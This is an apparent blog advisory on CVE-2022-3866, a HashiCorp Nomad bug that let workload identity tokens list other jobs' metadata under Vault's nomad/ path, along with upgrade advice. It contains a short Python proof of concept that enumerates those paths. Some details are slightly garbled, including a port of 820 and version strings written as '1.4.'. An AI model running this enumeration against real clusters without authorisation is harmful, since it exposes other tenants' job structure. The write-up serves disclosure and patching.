HashiCorp Nomad is a powerful workload orchestrator used in cloud native, container, and microservices environments. In October 2022, a serious security issue, CVE-2022-3866, was identified in Nomad and Nomad Enterprise versions 1.4. and 1.4.1. The bug allowed tokens meant for one workload to peek at non-sensitive metadata for other jobs running in the same namespace. Although it didn’t allow access to secrets, the exposure of metadata can be the first step in a chain of attacks.

Let’s examine what happened, how the bug worked, how it could be exploited (with code!), and why updating to 1.4.2 is vital for anyone using Nomad.

What Was the Problem?

HashiCorp Nomad uses workload identity tokens to enforce access control. When a job runs, it can request a token to interact with secrets and other resources in the “nomad/” path in HashiCorp Vault.

In the vulnerable versions, a job with a workload identity token could _list_ paths under nomad/ belonging to other jobs in the same namespace. This should not happen: a job’s access should be limited strictly to its own allocated paths.

Affected versions: Nomad 1.4. and 1.4.1, Nomad Enterprise 1.4. and 1.4.1

- Fixed in: 1.4.2 (Release Notes)

How Does the Bug Work?

When a Nomad job gets its workload identity token, that token is supposed to only let it see its own data under the nomad/ path (say, nomad/jobs/{job_id}/). But due to a flaw in policy configuration, the token could use the Vault API to _list_ children of the base nomad/ path, revealing IDs of jobs, groups, or allocations that belong to other jobs in the same namespace.

Job A gets an identity token.

2. Job A accesses Vault’s nomad/ path.
3. With the bug, Job A can list subpaths (like jobs/B, jobs/C) even if it shouldn’t.

*This didn’t expose secrets, but it did leak job structure and metadata, which could be sensitive in shared environments.*

Exploiting the Listing

Let’s do a proof-of-concept in Python, using the requests library. This code will list entries under the nomad/ Vault path, showing other jobs in the same namespace.

import requests

VAULT_ADDR = "http://vault.service.consul:820";
VAULT_TOKEN = "your_workload_identity_token"

headers = {
    "X-Vault-Token": VAULT_TOKEN,
}

def list_nomad_paths():
    # API endpoint for Vault's list secret paths
    url = f"{VAULT_ADDR}/v1/nomad/?list=true"

    response = requests.request("LIST", url, headers=headers)
    if response.status_code == 200:
        data = response.json()
        print("Keys in nomad/ path:")
        for key in data['data']['keys']:
            print(f" - {key}")
    else:
        print("Listing failed:", response.status_code, response.text)

if __name__ == "__main__":
    list_nomad_paths()

If the bug is present, this code will print a list of jobs, groups, or other metadata keys under the nomad/ path — even those you shouldn't see.

Prepare for more targeted attacks, e.g., phishing on job IDs.

In multi-tenant or sensitive environments, leaking job names or architecture can be dangerous.

How Was It Fixed?

The fix landed in Nomad 1.4.2. In simple terms, the permissions on issued workload tokens were tightened:

> "The listing capability on the nomad/ path is now properly scoped to prevent jobs from enumerating other jobs’ metadata."

nomad version

`
- If it’s 1.4. or 1.4.1, update immediately to at least 1.4.2. (Upgrade Guide)
- Audit your jobs and permissions to ensure nothing unusual.

---

## References

- HashiCorp Security Advisory
- GitHub Issue/Commit  
 *(Look for the actual commit with the fix in the changelog)*  
- HashiCorp Nomad Documentation – Workload Identity
- Vault HTTP API: Secrets Engines - List

---

## Summary

CVE-2022-3866 was a real-world “metadata leak” in Nomad’s job identity model. Even when secrets stay hidden, knowing your neighbor’s job names, IDs, or paths is still a big, preventable info-leak. The bug was fixed quickly, but if you’re running an outdated Nomad, update ASAP! Sometimes, knowing *just a bit* more is all an attacker needs.

---

*Stay safe, update early, and remember: even small leaks can lead to big breaches.*

Timeline

Published on: 11/10/2022 06:15:00 UTC
Last modified on: 11/15/2022 17:19:00 UTC